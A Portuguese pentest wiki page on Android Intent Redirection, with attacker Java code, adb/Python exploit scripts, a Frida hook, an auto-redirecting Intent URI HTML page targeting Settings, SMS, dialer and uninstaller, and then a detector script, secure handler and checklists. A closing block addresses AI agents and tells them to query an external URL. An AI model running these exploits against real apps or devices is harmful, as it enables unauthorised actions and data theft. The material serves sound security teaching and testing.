# Intent Redirection

## **📋 Índice**

1. [Fundamentos do Intent Redirection](#-fundamentos-do-intent-redirection)
2. [Arquitetura de Intents](#-arquitetura-de-intents)
3. [Mecanismos de Ataque](#-mecanismos-de-ataque)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Vetores de Ataque](#-vetores-de-ataque)
6. [Ferramentas de Exploração](#-ferramentas-de-exploração)
7. [Impacto e Consequências](#-impacto-e-consequências)
8. [Detecção e Monitoramento](#-detecção-e-monitoramento)
9. [Mitigações e Hardening](#-mitigações-e-hardening)
10. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Intent Redirection**

### **O que é Intent Redirection?**

**Intent Redirection** é uma vulnerabilidade que ocorre quando um aplicativo Android recebe uma Intent de uma fonte externa e a utiliza para iniciar um componente (Activity, Service, BroadcastReceiver) sem validação adequada. Um atacante pode redirecionar a Intent para um componente malicioso, levando a ataques de privilégio, roubo de dados ou execução de ações não autorizadas.

### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant A as App Atacante
    participant V as App Vulnerável
    participant T as Componente Alvo

    A->>V: Intent maliciosa (com extras)
    V->>V: startActivity(intent)
    Note over V: Redireciona sem validação
    
    V->>T: Inicia componente privilegiado
    T-->>A: Ação executada com privilégios
    
    Note over A: Atacante ganha acesso
```

### **Componentes Vulneráveis**

```yaml
Componentes que Podem ser Alvo:

  🔴 Activities:
    - startActivity(intent)
    - startActivityForResult(intent)
    - startActivities(intents)

  🔴 Services:
    - startService(intent)
    - bindService(intent)

  🔴 BroadcastReceivers:
    - sendBroadcast(intent)
    - sendOrderedBroadcast(intent)

  🔴 ContentProviders:
    - query() com intents
    - insert() com intents

  🔴 PendingIntents:
    - send() com intents
    - PendingIntent.getActivity()
```

***

## 🏗️ **Arquitetura de Intents**

### **Tipos de Intents**

```python
#!/usr/bin/env python3
# intent_types.py - Tipos de Intents no Android

class IntentTypes:
    """Análise dos tipos de Intents Android"""
    
    @staticmethod
    def explicit_intents():
        """Explicit Intents (componente específico)"""
        print("📌 Explicit Intents")
        print("=" * 60)
        
        code = """
        // Intent explícita - especifica componente
        Intent intent = new Intent(this, TargetActivity.class);
        intent.putExtra("key", "value");
        startActivity(intent);
        """
        print(code)
        
        print("Riscos:")
        print("   • Componentes não exportados podem ser acessados")
        print("   • Atacante pode especificar componente arbitrário")
    
    @staticmethod
    def implicit_intents():
        """Implicit Intents (ação/dados)"""
        print("\n📌 Implicit Intents")
        print("=" * 60)
        
        code = """
        // Intent implícita - baseada em ação
        Intent intent = new Intent(Intent.ACTION_VIEW);
        intent.setData(Uri.parse("http://example.com"));
        startActivity(intent);
        """
        print(code)
        
        print("Riscos:")
        print("   • Pode ser interceptada por apps maliciosos")
        print("   • Chooser pode expor informações")
    
    @staticmethod
    def pending_intents():
        """PendingIntents"""
        print("\n📌 PendingIntents")
        print("=" * 60)
        
        code = """
        // PendingIntent - delegada para outro app
        PendingIntent pendingIntent = PendingIntent.getActivity(
            context, 0, intent, PendingIntent.FLAG_IMMUTABLE
        );
        """
        print(code)
        
        print("Riscos:")
        print("   • Pode ser modificada por apps maliciosos")
        print("   • Fill-in pode permitir redirecionamento")

# Executar
IntentTypes.explicit_intents()
IntentTypes.implicit_intents()
IntentTypes.pending_intents()
```

### **Flags de Segurança de Intent**

```yaml
Flags Importantes:

  🔒 FLAG_IMMUTABLE:
    - PendingIntent não pode ser modificada
    - Previne fill-in de extras
    - Recomendado para PendingIntents

  🔒 FLAG_RECEIVER_EXPORTED:
    - BroadcastReceiver explícito
    - Controle de quem pode enviar

  🔒 FLAG_ACTIVITY_NEW_TASK:
    - Inicia em nova task
    - Pode contornar fluxo esperado

  🔒 FLAG_GRANT_READ_URI_PERMISSION:
    - Concede permissão de leitura de URI
    - Pode expor dados sensíveis

  🔒 FLAG_GRANT_WRITE_URI_PERMISSION:
    - Concede permissão de escrita
    - Pode modificar dados
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo de Ataque**

```mermaid
graph TD
    A[App Atacante] --> B[Cria Intent maliciosa]
    B --> C[Envia para App Vulnerável]
    
    C --> D{App Vulnerável valida?}
    D -->|Não| E[Redireciona Intent]
    D -->|Sim| F[Ataque falha]
    
    E --> G[Componente Alvo]
    G --> H[Ações com privilégios]
    
    H --> I[Roubo de dados]
    H --> J[Ações não autorizadas]
    H --> K[Elevação de privilégios]
    
    style D fill:#ff9999
    style E fill:#ff6666
```

### **Vetores de Ataque**

```yaml
Vetores Comuns:

  🔴 Intent Extra Injection:
    - Modificação de extras da Intent
    - Injeção de dados maliciosos
    - Bypass de validação

  🔴 Componente Arbitrário:
    - Especificar componente não autorizado
    - Acessar componentes privados
    - Bypass de permissões

  🔴 Data URI Manipulation:
    - file:// URI para acesso a arquivos
    - content:// URI para dados sensíveis
    - Intent URIs maliciosas

  🔴 PendingIntent Hijacking:
    - Modificação de PendingIntent
    - Fill-in de extras
    - Redirecionamento de ações

  🔴 Intent Filter Confusion:
    - Múltiplos components respondendo
    - Escolha incorreta do componente
    - Bypass de restrições
```

***

## 🔧 **Técnicas de Exploração**

### **Técnica 1: Intent Extra Injection**

```java
// IntentExtraInjection.java - Injeção de extras em Intent

public class IntentExtraInjection {
    
    // 1. App vulnerável que redireciona Intent
    public class VulnerableActivity extends Activity {
        
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            
            Intent intent = getIntent();
            
            // 🔴 Vulnerável: pega Intent da Intent e executa
            Intent redirectIntent = intent.getParcelableExtra("intent");
            if (redirectIntent != null) {
                // Redireciona sem validação
                startActivity(redirectIntent);
            }
        }
    }
    
    // 2. App atacante criando Intent maliciosa
    public void exploitIntentRedirection(Context context) {
        // Criar Intent para componente privilegiado
        Intent targetIntent = new Intent();
        targetIntent.setClassName("com.android.settings", 
                                    "com.android.settings.Settings");
        targetIntent.putExtra("extra_key", "malicious_value");
        
        // Criar Intent que será enviada ao app vulnerável
        Intent exploitIntent = new Intent(context, VulnerableActivity.class);
        exploitIntent.putExtra("intent", targetIntent);
        
        // Enviar Intent
        context.startActivity(exploitIntent);
    }
    
    // 3. Extração de dados via Intent
    public void extractData(Context context) {
        // Criar Intent para ContentProvider exposto
        Intent dataIntent = new Intent();
        dataIntent.setClassName("com.example.app", 
                                "com.example.app.DataProviderActivity");
        dataIntent.setData(Uri.parse("content://com.example.app/sensitive_data"));
        
        Intent exploitIntent = new Intent(context, VulnerableActivity.class);
        exploitIntent.putExtra("intent", dataIntent);
        
        context.startActivity(exploitIntent);
    }
}
```

### **Técnica 2: Componente Arbitrário**

```python
#!/usr/bin/env python3
# component_redirection.py - Redirecionamento para componente arbitrário

import subprocess
import sys

class ComponentRedirection:
    """Exploração de redirecionamento para componente arbitrário"""
    
    @staticmethod
    def exploit_arbitrary_component(package, vulnerable_class, target_component):
        """Explorar redirecionamento para componente arbitrário"""
        print(f"[*] Explorando redirecionamento em {package}")
        
        # Construir Intent maliciosa
        intent_cmd = [
            'adb', 'shell', 'am', 'start',
            '-n', f'{package}/{vulnerable_class}',
            '--es', 'intent', 
            f'#Intent;component={target_component};end'
        ]
        
        try:
            result = subprocess.run(intent_cmd, capture_output=True, text=True)
            print(f"   Resultado: {result.stdout}")
            return True
        except Exception as e:
            print(f"   Erro: {e}")
            return False
    
    @staticmethod
    def enumerate_components(package):
        """Enumerar componentes do pacote"""
        print(f"[*] Enumerando componentes de {package}")
        
        cmd = ['adb', 'shell', 'dumpsys', 'package', package]
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        activities = []
        services = []
        receivers = []
        
        in_activity = False
        in_service = False
        in_receiver = False
        
        for line in result.stdout.split('\n'):
            if 'Activity:' in line and not in_activity:
                in_activity = True
                if 'com.' in line:
                    activity = line.split()[-1]
                    activities.append(activity)
            elif 'Service:' in line:
                in_service = True
                if 'com.' in line:
                    service = line.split()[-1]
                    services.append(service)
            elif 'Receiver:' in line:
                in_receiver = True
                if 'com.' in line:
                    receiver = line.split()[-1]
                    receivers.append(receiver)
            elif '}' in line:
                in_activity = False
                in_service = False
                in_receiver = False
        
        print(f"   Activities: {len(activities)}")
        print(f"   Services: {len(services)}")
        print(f"   Receivers: {len(receivers)}")
        
        return {
            'activities': activities,
            'services': services,
            'receivers': receivers
        }

# Uso
if __name__ == "__main__":
    print("🎯 Component Redirection Exploit")
    print("=" * 60)
    
    if len(sys.argv) > 1:
        components = ComponentRedirection.enumerate_components(sys.argv[1])
        
        # Tentar redirecionar para settings
        ComponentRedirection.exploit_arbitrary_component(
            sys.argv[1],
            "com.example.vulnerable.MainActivity",
            "com.android.settings/.Settings"
        )
    else:
        print("Uso: component_redirection.py <package>")
```

### **Técnica 3: Frida Script para Hook de Intents**

```javascript
// frida_intent_hook.js - Hook de Intents

Java.perform(function() {
    console.log("[*] Hooking Intent Methods");
    
    // 1. Hook Context.startActivity
    var Context = Java.use("android.content.Context");
    
    Context.startActivity.overload('android.content.Intent').implementation = function(intent) {
        console.log("[Context.startActivity]");
        logIntent(intent);
        return this.startActivity(intent);
    };
    
    // 2. Hook Activity.startActivityForResult
    var Activity = Java.use("android.app.Activity");
    
    Activity.startActivityForResult.overload('android.content.Intent', 'int').implementation = function(intent, requestCode) {
        console.log("[Activity.startActivityForResult] requestCode: " + requestCode);
        logIntent(intent);
        return this.startActivityForResult(intent, requestCode);
    };
    
    // 3. Hook PendingIntent.send
    var PendingIntent = Java.use("android.app.PendingIntent");
    
    PendingIntent.send.overload('android.content.Context', 'int', 'android.content.Intent').implementation = function(context, code, intent) {
        console.log("[PendingIntent.send] code: " + code);
        if (intent != null) {
            logIntent(intent);
        }
        return this.send(context, code, intent);
    };
    
    // 4. Hook Intent constructor
    var Intent = Java.use("android.content.Intent");
    
    Intent.$init.overload('android.content.Intent').implementation = function(o) {
        console.log("[Intent] Copy constructor");
        var result = this.$init(o);
        logIntent(result);
        return result;
    };
    
    // 5. Função para log de Intent
    function logIntent(intent) {
        if (intent == null) {
            console.log("    Intent is null");
            return;
        }
        
        var action = intent.getAction();
        var component = intent.getComponent();
        var data = intent.getData();
        var flags = intent.getFlags();
        
        console.log("    Action: " + action);
        if (component != null) {
            console.log("    Component: " + component.getPackageName() + "/" + component.getClassName());
        }
        if (data != null) {
            console.log("    Data: " + data.toString());
        }
        console.log("    Flags: " + flags);
        
        // Log extras
        var extras = intent.getExtras();
        if (extras != null) {
            var keySet = extras.keySet();
            var iterator = keySet.iterator();
            while (iterator.hasNext()) {
                var key = iterator.next();
                var value = extras.get(key);
                console.log("    Extra: " + key + " = " + value);
            }
        }
    }
});
```

### **Técnica 4: PendingIntent Hijacking**

```java
// PendingIntentHijacking.java - Sequestro de PendingIntent

public class PendingIntentHijacking {
    
    // 1. App vulnerável que usa PendingIntent
    public class VulnerableService extends Service {
        
        @Override
        public int onStartCommand(Intent intent, int flags, int startId) {
            // Recebe PendingIntent de fonte externa
            PendingIntent pendingIntent = intent.getParcelableExtra("pending_intent");
            
            if (pendingIntent != null) {
                // 🔴 Vulnerável: envia PendingIntent sem validação
                try {
                    pendingIntent.send();
                } catch (PendingIntent.CanceledException e) {}
            }
            
            return START_STICKY;
        }
    }
    
    // 2. Atacante cria PendingIntent maliciosa
    public PendingIntent createMaliciousPendingIntent(Context context) {
        // Criar Intent para atividade privilegiada
        Intent maliciousIntent = new Intent();
        maliciousIntent.setClassName("com.android.settings", 
                                      "com.android.settings.Settings");
        maliciousIntent.putExtra("extra", "malicious_value");
        
        // Criar PendingIntent
        PendingIntent pendingIntent = PendingIntent.getActivity(
            context, 0, maliciousIntent, PendingIntent.FLAG_IMMUTABLE
        );
        
        return pendingIntent;
    }
    
    // 3. Enviar PendingIntent para app vulnerável
    public void sendMaliciousPendingIntent(Context context) {
        PendingIntent maliciousPI = createMaliciousPendingIntent(context);
        
        Intent exploitIntent = new Intent();
        exploitIntent.setClassName("com.vulnerable.app", 
                                    "com.vulnerable.app.VulnerableService");
        exploitIntent.putExtra("pending_intent", maliciousPI);
        
        context.startService(exploitIntent);
    }
    
    // 4. Fill-in de PendingIntent (Android < 6.0)
    public void fillInPendingIntent(PendingIntent original) {
        // Em versões antigas, PendingIntent podia ser modificada
        // FLAG_CANCEL_CURRENT permite substituir
        Intent fillIntent = new Intent();
        fillIntent.putExtra("injected_key", "injected_value");
        
        // 🔴 Fill-in pode adicionar extras
        // original.fillIn(fillIntent, 0);
    }
}
```

### **Técnica 5: Intent URI Exploitation**

```python
#!/usr/bin/env python3
# intent_uri_exploit.py - Exploração de Intent URIs

import urllib.parse
import subprocess
import sys

class IntentURIExploit:
    """Exploração de Intent URIs maliciosas"""
    
    @staticmethod
    def create_intent_uri(component, action=None, data=None, extras=None):
        """Criar Intent URI maliciosa"""
        print(f"[*] Criando Intent URI para {component}")
        
        intent_uri = "intent://"
        
        # Adicionar ação
        if action:
            intent_uri += f"#{action}/"
        
        # Adicionar componentes
        params = []
        params.append(f"component={component}")
        if data:
            params.append(f"S.data={data}")
        if extras:
            for key, value in extras.items():
                params.append(f"S.{key}={value}")
        
        intent_uri += "#Intent;" + ";".join(params) + ";end"
        
        print(f"   URI: {intent_uri}")
        return intent_uri
    
    @staticmethod
    def exploit_browser_redirect(intent_uri):
        """Explorar redirecionamento via navegador"""
        print(f"\n[*] Explorando redirecionamento via navegador")
        
        # Criar HTML com Intent URI
        html = f"""
        <!DOCTYPE html>
        <html>
        <head><title>Intent Redirect</title></head>
        <body>
            <h1>Redirecting...</h1>
            <a href="{intent_uri}">Click here</a>
            <script>window.location.href = "{intent_uri}";</script>
        </body>
        </html>
        """
        
        with open("redirect.html", "w") as f:
            f.write(html)
        
        print("   HTML gerado: redirect.html")
        return "redirect.html"
    
    @staticmethod
    def exploit_adb(intent_uri):
        """Explorar via ADB"""
        print(f"\n[*] Explorando via ADB")
        
        cmd = ['adb', 'shell', 'am', 'start', '-a', 'android.intent.action.VIEW', '-d', intent_uri]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            print(f"   Resultado: {result.stdout}")
            return True
        except Exception as e:
            print(f"   Erro: {e}")
            return False
    
    @staticmethod
    def exploit_scenarios():
        """Cenários de exploração"""
        print("\n[*] Cenários de exploração:")
        
        scenarios = [
            ("Abrir configurações", "com.android.settings/.Settings"),
            ("Desinstalar app", "com.android.packageinstaller/.UninstallerActivity"),
            ("Abrir URL", "com.android.browser/.BrowserActivity", "http://evil.com"),
            ("Enviar SMS", "com.android.mms/.ui.ComposeMessageActivity", None, {"address": "+551199999999"}),
            ("Discar número", "com.android.dialer/.DialtactsActivity", "tel:911")
        ]
        
        for scenario in scenarios:
            name = scenario[0]
            component = scenario[1]
            data = scenario[2] if len(scenario) > 2 else None
            extras = scenario[3] if len(scenario) > 3 else None
            
            print(f"\n   {name}:")
            uri = IntentURIExploit.create_intent_uri(component, data=data, extras=extras)

# Uso
if __name__ == "__main__":
    print("🎯 Intent URI Exploitation")
    print("=" * 60)
    
    IntentURIExploit.exploit_scenarios()
    
    # Exemplo prático
    malicious_uri = IntentURIExploit.create_intent_uri(
        "com.android.settings/.Settings",
        extras={"extra_key": "malicious_value"}
    )
    
    IntentURIExploit.exploit_browser_redirect(malicious_uri)
```

***

## 🔍 **Detecção e Monitoramento**

### **Script de Detecção de Intent Redirection**

```python
#!/usr/bin/env python3
# detect_intent_redirection.py - Detector de Intent Redirection

import subprocess
import re
import sys

class IntentRedirectionDetector:
    """Detector de vulnerabilidades de Intent Redirection"""
    
    @staticmethod
    def find_exported_components(apk_path):
        """Encontrar componentes exportados no APK"""
        print(f"[*] Analisando {apk_path}")
        
        cmd = ['aapt', 'dump', 'xmltree', apk_path, 'AndroidManifest.xml']
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        components = {
            'activities': [],
            'services': [],
            'receivers': []
        }
        
        lines = result.stdout.split('\n')
        current_component = None
        exported = False
        
        for line in lines:
            if 'activity' in line and 'E: activity' in line:
                current_component = 'activities'
                exported = False
                name_match = re.search(r'android:name="([^"]+)"', line)
                if name_match:
                    component_name = name_match.group(1)
                    components[current_component].append(component_name)
                    
            elif 'service' in line and 'E: service' in line:
                current_component = 'services'
                exported = False
                name_match = re.search(r'android:name="([^"]+)"', line)
                if name_match:
                    component_name = name_match.group(1)
                    components[current_component].append(component_name)
                    
            elif 'receiver' in line and 'E: receiver' in line:
                current_component = 'receivers'
                exported = False
                name_match = re.search(r'android:name="([^"]+)"', line)
                if name_match:
                    component_name = name_match.group(1)
                    components[current_component].append(component_name)
                    
            elif 'android:exported' in line and current_component:
                if 'value="true"' in line:
                    exported = True
        
        print(f"\n   Componentes exportados:")
        for comp_type, comps in components.items():
            print(f"      {comp_type}: {len(comps)}")
        
        return components
    
    @staticmethod
    def find_intent_redirection_patterns(apk_path):
        """Buscar padrões de redirecionamento de Intent no código"""
        print(f"\n[*] Buscando padrões de redirecionamento")
        
        # Usar jadx para decompilar
        cmd = ['jadx', '-d', 'decompiled', apk_path]
        subprocess.run(cmd, capture_output=True)
        
        import os
        patterns = [
            r'getParcelableExtra\(.*Intent',
            r'getParcelableExtra\(.*PendingIntent',
            r'startActivity\(\s*\w+\s*\)',
            r'startService\(\s*\w+\s*\)',
            r'sendBroadcast\(\s*\w+\s*\)'
        ]
        
        findings = []
        for root, dirs, files in os.walk('decompiled'):
            for file in files:
                if file.endswith('.java'):
                    with open(os.path.join(root, file), 'r') as f:
                        content = f.read()
                        for pattern in patterns:
                            matches = re.findall(pattern, content)
                            if matches:
                                findings.append({
                                    'file': file,
                                    'pattern': pattern,
                                    'matches': len(matches)
                                })
        
        if findings:
            print(f"   Encontrados {len(findings)} padrões suspeitos:")
            for f in findings[:5]:
                print(f"      {f['file']}: {f['pattern']} ({f['matches']})")
        
        return findings

# Uso
if __name__ == "__main__":
    print("🔍 Intent Redirection Detection")
    print("=" * 60)
    
    if len(sys.argv) > 1:
        IntentRedirectionDetector.find_exported_components(sys.argv[1])
        IntentRedirectionDetector.find_intent_redirection_patterns(sys.argv[1])
    else:
        print("Uso: detect_intent_redirection.py <apk_path>")
```

***

## 🛡️ **Mitigações e Hardening**

### **Implementação Segura**

```java
// SecureIntentHandler.java - Manipulação segura de Intents

import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.net.Uri;
import java.util.List;

public class SecureIntentHandler {
    
    // 1. Whitelist de componentes permitidos
    private static final String[] ALLOWED_PACKAGES = {
        "com.example.trusted",
        "com.android.settings"
    };
    
    private static final String[] ALLOWED_ACTIVITIES = {
        "com.example.trusted.MainActivity",
        "com.example.trusted.WebActivity"
    };
    
    // 2. Validar Intent antes de redirecionar
    public static boolean validateIntent(Intent intent) {
        if (intent == null) {
            return false;
        }
        
        // Verificar componente
        ComponentName component = intent.getComponent();
        if (component != null) {
            String packageName = component.getPackageName();
            String className = component.getClassName();
            
            // Verificar pacote permitido
            boolean packageAllowed = false;
            for (String allowed : ALLOWED_PACKAGES) {
                if (allowed.equals(packageName)) {
                    packageAllowed = true;
                    break;
                }
            }
            
            if (!packageAllowed) {
                return false;
            }
            
            // Verificar activity permitida
            boolean activityAllowed = false;
            for (String allowed : ALLOWED_ACTIVITIES) {
                if (allowed.equals(className)) {
                    activityAllowed = true;
                    break;
                }
            }
            
            if (!activityAllowed) {
                return false;
            }
        }
        
        // Verificar ação (apenas ações seguras)
        String action = intent.getAction();
        if (action != null) {
            if (action.equals(Intent.ACTION_VIEW)) {
                // Verificar URI
                Uri data = intent.getData();
                if (data != null && !isSafeUri(data)) {
                    return false;
                }
            }
        }
        
        return true;
    }
    
    // 3. Verificar URI segura
    private static boolean isSafeUri(Uri uri) {
        String scheme = uri.getScheme();
        
        // Apenas schemes seguros
        if (!"https".equals(scheme) && !"http".equals(scheme)) {
            return false;
        }
        
        // Verificar domínio permitido
        String host = uri.getHost();
        return host != null && (host.endsWith(".trusted.com") || host.equals("example.com"));
    }
    
    // 4. Usar LocalBroadcastManager para comunicação interna
    public static void sendLocalBroadcast(Context context, Intent intent) {
        // Comunicação segura dentro do app
        LocalBroadcastManager.getInstance(context).sendBroadcast(intent);
    }
    
    // 5. Verificar permissão do remetente
    public static boolean checkCallerPermission(Context context, Intent intent, String permission) {
        int uid = Binder.getCallingUid();
        String packageName = context.getPackageManager().getNameForUid(uid);
        
        return context.checkPermission(permission, android.os.Process.myPid(), uid) == 
               PackageManager.PERMISSION_GRANTED;
    }
    
    // 6. Exemplo de uso seguro
    public void safeIntentRedirection(Intent incomingIntent) {
        Intent redirectIntent = incomingIntent.getParcelableExtra("intent");
        
        if (redirectIntent != null && validateIntent(redirectIntent)) {
            // Apenas redirecionar se válido
            startActivity(redirectIntent);
        } else {
            // Redirecionar para fallback seguro
            startActivity(new Intent(this, SafeFallbackActivity.class));
        }
    }
}
```

### **Configuração no Manifest**

```xml
<!-- AndroidManifest.xml - Configuração segura -->
<activity
    android:name=".VulnerableActivity"
    android:exported="false">
    <!-- Componente não exportado = seguro -->
</activity>

<!-- Se precisar exportar, usar permissão -->
<activity
    android:name=".ExportedActivity"
    android:exported="true"
    android:permission="com.example.REDIRECT_PERMISSION">
    <intent-filter>
        <action android:name="com.example.ACTION_REDIRECT" />
    </intent-filter>
</activity>

<!-- Usar signature permissão para comunicação entre apps próprios -->
<permission
    android:name="com.example.INTERNAL_PERMISSION"
    android:protectionLevel="signature" />
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Desenvolvedores**

* [ ] Não redirecionar Intents de fontes externas sem validação
* [ ] Usar whitelist de componentes permitidos
* [ ] Validar permissões do remetente
* [ ] Usar LocalBroadcastManager para comunicação interna
* [ ] Configurar android:exported="false" quando possível
* [ ] Usar permissões signature para comunicação entre apps próprios
* [ ] Evitar usar PendingIntent.fillIn

### **Checklist para Pentesters**

* [ ] Identificar componentes que recebem Intents externas
* [ ] Testar injeção de extras de Intent
* [ ] Testar redirecionamento para componentes arbitrários
* [ ] Verificar PendingIntent hijacking
* [ ] Testar Intent URIs via navegador
* [ ] Analisar permissões do remetente

***

## 📊 **Conclusão**

```yaml
Intent Redirection:

  🔴 Principais Vetores:
    - Injeção de extras em Intent
    - Redirecionamento para componente arbitrário
    - PendingIntent hijacking
    - Intent URI exploitation

  🛡️ Mitigações Essenciais:
    - Validar Intents antes de redirecionar
    - Whitelist de componentes permitidos
    - Verificar permissões do remetente
    - Usar LocalBroadcastManager

  🎯 Prioridade:
    - CRÍTICA: Apps com PendingIntents
    - ALTA: Apps que redirecionam Intents
    - MÉDIA: Apps com comunicação externa
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/android/intent-redirection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.